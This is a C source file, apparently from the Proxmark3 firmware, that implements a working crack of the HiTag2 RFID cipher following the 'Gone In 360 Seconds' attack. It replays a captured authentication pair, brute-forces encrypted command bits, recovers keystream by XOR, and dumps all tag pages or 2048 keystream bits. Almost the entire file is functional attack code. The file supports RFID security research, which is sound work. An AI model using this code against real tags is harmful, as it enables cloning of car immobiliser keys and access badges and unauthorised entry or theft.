1 //-----------------------------------------------------------------------------
2 // Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
4 // This program is free software: you can redistribute it and/or modify
5 // it under the terms of the GNU General Public License as published by
6 // the Free Software Foundation, either version 3 of the License, or
7 // (at your option) any later version.
9 // This program is distributed in the hope that it will be useful,
10 // but WITHOUT ANY WARRANTY; without even the implied warranty of
11 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 // GNU General Public License for more details.
14 // See LICENSE.txt for the text of the license.
15 //-----------------------------------------------------------------------------
17 // This coode has been converted from RFIDler source code to work with Proxmark3.
18 // https://github.com/AdamLaurie/RFIDler/blob/master/firmware/Pic32/RFIDler.X/src/hitag2crack.c
21 #include "hitag2_crack.h"
22 #include "hitag2/hitag2_crypto.h"
24 #include "proxmark3_arm.h"
25 #include "commonutil.h"
33 // #define READP0CMD "1100000111"
34 const static uint8_t read_p0_cmd
[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1};
36 // hitag2crack_xor XORs the source with the pad to produce the target.
37 // source, target and pad are binarrays of length len.
38 static void hitag2crack_xor(uint8_t *target
, const uint8_t *source
, const uint8_t *pad
, size_t len
) {
39 for (size_t i
= 0; i
< len
; i
++) {
40 target
[i
] = source
[i
] ^ pad
[i
];
44 // hitag2crack_send_e_cmd replays the auth and sends the given encrypted
46 // responsestr is the hexstring of the response to the command;
47 // nrar is the 64 bit binarray of the nR aR pair;
48 // cmd is the binarray of the encrypted command to send;
49 // len is the length of the encrypted command.
50 static bool hitag2crack_send_e_cmd(uint8_t *resp
, uint8_t *nrar
, uint8_t *cmd
, size_t len
) {
55 if (ht2_read_uid(NULL
, true, false, true) != PM3_SUCCESS
) {
59 // send nrar and receive (useless) encrypted page 3 value
61 if (ht2_tx_rx(nrar
, 64, NULL
, &n
, true, true) != PM3_SUCCESS
) {
65 // send encrypted command
67 ht2_tx_rx(cmd
, len
, resp
, &n
, true, false);
75 // hitag2crack_read_page uses the supplied key stream and nrar pair to read the
76 // given page, returning the response as a hexstring.
77 // responsestr is the returned hexstring;
78 // pagenum is the page number to read;
79 // nrar is the 64 bit binarray of the nR aR pair;
80 // keybits is the binarray of the key stream.
81 static bool hitag2crack_read_page(uint8_t *resp
, uint8_t pagenum
, uint8_t *nrar
, uint8_t *keybits
) {
89 memcpy(cmd
, read_p0_cmd
, sizeof(read_p0_cmd
));
107 uint8_t e_cmd
[10] = {0};
108 hitag2crack_xor(e_cmd
, cmd
, keybits
, 10);
110 // send encrypted command
112 if (hitag2crack_send_e_cmd(e_resp
, nrar
, e_cmd
, 10)) {
114 uint8_t e_response
[32] = {0};
115 uint8_t response
[32] = {0};
117 // convert to binarray
118 hex2binarray_n((char *)e_response
, (char *)e_resp
, 4);
120 hitag2crack_xor(response
, e_response
, keybits
+ 10, 32);
122 // convert to hexstring
123 binarray2hex(response
, 32, resp
);
131 // hitag2crack_test_e_p0cmd XORs the message (command + response) with the
132 // encrypted version to retrieve the key stream. It then uses this key stream
133 // to encrypt an extended version of the READP0CMD and tests if the response
135 // keybits is the returned binarray of the key stream;
136 // nrar is the 64 bit binarray of nR aR pair;
137 // e_cmd is the binarray of the encrypted command;
138 // uid is the binarray of the card UID;
139 // e_uid is the binarray of the encrypted version of the UID.
140 static bool hitag2crack_test_e_p0cmd(uint8_t *keybits
, uint8_t *nrar
, uint8_t *e_cmd
, uint8_t *uid
, uint8_t *e_uid
) {
142 uint8_t cipherbits
[42] = {0};
143 memcpy(cipherbits
, e_cmd
, 10); // copy encrypted cmd to cipherbits
144 memcpy(cipherbits
+ 10, e_uid
, 32); // copy encrypted uid to cipherbits
147 uint8_t plainbits
[42] = {0};
148 memcpy(plainbits
, read_p0_cmd
, sizeof(read_p0_cmd
)); // copy cmd to plainbits
149 memcpy(plainbits
+ 10, uid
, 32); // copy uid to plainbits
151 // xor the plainbits with the cipherbits to get keybits
152 hitag2crack_xor(keybits
, plainbits
, cipherbits
, 42);
154 // create extended cmd -> 4 * READP0CMD = 40 bits
155 // xor extended cmd with keybits
156 uint8_t e_ext_cmd
[40] = {0};
157 hitag2crack_xor(e_ext_cmd
, read_p0_cmd
, keybits
, 10);
158 hitag2crack_xor(e_ext_cmd
+ 10, read_p0_cmd
, keybits
+ 10, 10);
159 hitag2crack_xor(e_ext_cmd
+ 20, read_p0_cmd
, keybits
+ 20, 10);
160 hitag2crack_xor(e_ext_cmd
+ 30, read_p0_cmd
, keybits
+ 30, 10);
162 // send extended encrypted cmd
163 uint8_t resp
[4] = {0};
164 if (hitag2crack_send_e_cmd(resp
, nrar
, e_ext_cmd
, 40)) {
170 // hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
171 // valid encrypted command and tests the results by attempting an extended
172 // command version of the command to see if that produces a valid response.
173 // keybits is the returned binarray of the recovered key stream;
174 // e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
175 // e_firstcmd is the binarray of the first valid encrypted command found;
176 // nrar is the binarray of the 64 bit nR aR pair;
177 // uid is the binarray of the 32 bit UID.
178 static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits
, uint8_t *e_firstcmd
, uint8_t *nrar
, uint8_t *uid
) {
180 // we're going to brute the missing 4 bits of the valid encrypted command
181 for (uint8_t a
= 0; a
< 2; a
++) {
182 for (uint8_t b
= 0; b
< 2; b
++) {
183 for (uint8_t c
= 0; c
< 2; c
++) {
184 for (uint8_t d
= 0; d
< 2; d
++) {
185 // create our guess by bit flipping the pattern of bits
186 // representing the inverted bit and the 3 page bits
187 // in both the non-inverted and inverted parts of the
188 // encrypted command.
190 memcpy(guess
, e_firstcmd
, 10);
193 guess
[5] = !guess
[5];
194 guess
[0] = !guess
[0];
198 guess
[7] = !guess
[7];
199 guess
[2] = !guess
[2];
203 guess
[8] = !guess
[8];
204 guess
[3] = !guess
[3];
208 guess
[9] = !guess
[9];
209 guess
[4] = !guess
[4];
213 uint8_t resp
[4] = {0};
214 if (hitag2crack_send_e_cmd(resp
, nrar
, guess
, 10)) {
216 // convert response to binarray
217 // response should been encrypted UID
218 uint8_t e_uid
[32] = {0};
219 hex2binarray_n((char *)e_uid
, (char *)resp
, 4);
221 // test if the guess was 'read page 0' command
222 if (hitag2crack_test_e_p0cmd(keybits
, nrar
, guess
, uid
, e_uid
)) {
233 // hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
234 // with a different sequential encrypted command value in order to find one
235 // that returns a valid response.
236 // e_cmd is the returned binarray of the valid encrypted command;
237 // nrar is the binarray of the 64 bit nR aR pair.
238 static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd
, uint8_t *nrar
) {
240 // we're going to hold bits 5, 7, 8 and 9 and brute force the rest
241 // e.g. x x x x x 0 x 0 0 0
242 for (uint8_t a
= 0; a
< 2; a
++) {
243 for (uint8_t b
= 0; b
< 2; b
++) {
244 for (uint8_t c
= 0; c
< 2; c
++) {
245 for (uint8_t d
= 0; d
< 2; d
++) {
246 for (uint8_t e
= 0; e
< 2; e
++) {
247 for (uint8_t g
= 0; g
< 2; g
++) {
250 uint8_t guess
[10] = { a
, b
, c
, d
, e
, 0, g
, 0, 0, 0 };
253 uint8_t resp
[4] = {0};
254 if (hitag2crack_send_e_cmd(resp
, nrar
, guess
, sizeof(guess
))) {
256 // return the guess as the encrypted command
257 memcpy(e_cmd
, guess
, 10);
270 uint8_t keybits
[2080];
273 uint8_t e_ext_cmd
[2080];
274 } PACKED lf_hitag_crack2_t
;
276 // hitag2_crack implements the first crack algorithm described in the paper,
277 // Gone In 360 Seconds by Verdult, Garcia and Balasch.
278 // response is a multi-line text response containing the 8 pages of the cracked tag
279 // nrarhex is a string containing hex representations of the 32 bit nR and aR values
280 void ht2_crack1(uint8_t *nrar_hex
) {
284 lf_hitag_crack_response_t packet
;
285 memset((uint8_t *)&packet
, 0x00, sizeof(lf_hitag_crack_response_t
));
287 int res
= PM3_SUCCESS
;
289 // get uid as hexstring
291 if (ht2_read_uid(uid_hex
, false, false, false) != PM3_SUCCESS
) {
297 // convert to binarray
298 uint8_t nrar
[64] = {0};
299 hex2binarray_n((char *)nrar
, (char *)nrar_hex
, 8);
301 // find a valid encrypted command
302 uint8_t e_firstcmd
[10];
303 if (hitag2crack_find_valid_e_cmd(e_firstcmd
, nrar
) == false) {
309 // now we got a first encrypted command inside e_firstcmd
311 hex2binarray_n((char *)uid
, (char *)uid_hex
, 4);
313 // find the 'read page 0' command and recover key stream
315 if (hitag2crack_find_e_page0_cmd(keybits
, e_firstcmd
, nrar
, uid
) == false) {
320 // read all pages using key stream
321 for (uint8_t i
= 1; i
< 8; i
++) {
322 hitag2crack_read_page(packet
.data
+ (i
* 4), i
, nrar
, keybits
);
325 // copy UID since we already have it...
326 memcpy(packet
.data
, uid_hex
, 4);
331 reply_ng(CMD_LF_HITAG2_CRACK
, res
, (uint8_t *)&packet
, sizeof(lf_hitag_crack_response_t
));
334 // hitag2_keystream uses the first crack algorithm described in the paper,
335 // Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits of keystream.
336 // response is a multi-line text response containing the hex of the keystream;
337 // nrar_hex is the 32 bit nR and aR in hex
338 void ht2_crack2(uint8_t *nrar_hex
) {
342 uint8_t *e_response
= BigBuf_calloc(32);
343 lf_hitag_crack2_t
*c2
= (lf_hitag_crack2_t
*)BigBuf_calloc(sizeof(lf_hitag_crack2_t
));
350 // find the 'read page 0' command and recover key stream
352 // get uid as hexstring
353 uint8_t uid_hex
[4] = {0};
354 if (ht2_read_uid(uid_hex
, false, false, false) != PM3_SUCCESS
) {
356 reply_ng(CMD_LF_HITAG2_CRACK_2
, PM3_EFAILED
, NULL
, 0);
360 hex2binarray_n((char *)c2
->uid
, (char *)uid_hex
, 4);
361 hex2binarray_n((char *)c2
->nrar
, (char *)nrar_hex
, 8);
363 DbpString("looking for encrypted command");
365 // find a valid encrypted command
366 uint8_t e_firstcmd
[10] = {0};
367 if (hitag2crack_find_valid_e_cmd(e_firstcmd
, c2
->nrar
) == false) {
369 reply_ng(CMD_LF_HITAG2_CRACK_2
, PM3_EFAILED
, NULL
, 0);
373 DbpString("looking for encrypted page 0");
374 // find encrypted page0 commnd
375 if (hitag2crack_find_e_page0_cmd(c2
->keybits
, e_firstcmd
, c2
->nrar
, c2
->uid
) == false) {
377 reply_ng(CMD_LF_HITAG2_CRACK_2
, PM3_EFAILED
, NULL
, 0);
381 // We got 42 bits of keystream in c2->keybits.
382 // using the 40 bits of keystream in keybits, sending commands with ever
383 // increasing lengths to acquire 2048 bits of key stream.
385 int res
= PM3_SUCCESS
;
387 while (kslen
< 2048 && BUTTON_PRESS() == false) {
389 hitag2crack_xor(c2
->e_ext_cmd
, read_p0_cmd
, c2
->keybits
, 10);
390 hitag2crack_xor(c2
->e_ext_cmd
+ 10, read_p0_cmd
, c2
->keybits
+ 10, 10);
391 hitag2crack_xor(c2
->e_ext_cmd
+ 20, read_p0_cmd
, c2
->keybits
+ 20, 10);
392 hitag2crack_xor(c2
->e_ext_cmd
+ 30, read_p0_cmd
, c2
->keybits
+ 30, 10);
394 Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen
);
397 if (ht2_read_uid(NULL
, true, false, true) != PM3_SUCCESS
) {
402 // send nrar and receive (useless) encrypted page 3 value
404 if (ht2_tx_rx(c2
->nrar
, 64, NULL
, &n
, true, true) != PM3_SUCCESS
) {
409 uint8_t resp
[4] = {0};
410 res
= ht2_tx_rx(c2
->e_ext_cmd
, kslen
, resp
, &n
, true, false);
411 if (res
!= PM3_SUCCESS
) {
412 Dbprintf("tx/rx failed, got %zu (res... %i)", n
, res
);
416 // convert response to binarray
417 hex2binarray_n((char *)e_response
, (char *)resp
, 4);
419 // recover keystream from encrypted response
420 hitag2crack_xor(c2
->keybits
+ kslen
, e_response
, c2
->uid
, 32);
422 // extented with 30 bits or 3 * 10 read_p0_cmds
423 hitag2crack_xor(c2
->e_ext_cmd
+ kslen
, read_p0_cmd
, c2
->keybits
+ kslen
, 10);
425 hitag2crack_xor(c2
->e_ext_cmd
+ kslen
, read_p0_cmd
, c2
->keybits
+ kslen
, 10);
427 hitag2crack_xor(c2
->e_ext_cmd
+ kslen
, read_p0_cmd
, c2
->keybits
+ kslen
, 10);
431 Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen
);
433 lf_hitag_crack_response_t
*packet
= (lf_hitag_crack_response_t
*)BigBuf_calloc(sizeof(lf_hitag_crack_response_t
));
436 binarray2hex(c2
->keybits
, kslen
, packet
->data
);
438 reply_ng(CMD_LF_HITAG2_CRACK_2
, res
, (uint8_t *)packet
, sizeof(lf_hitag_crack_response_t
));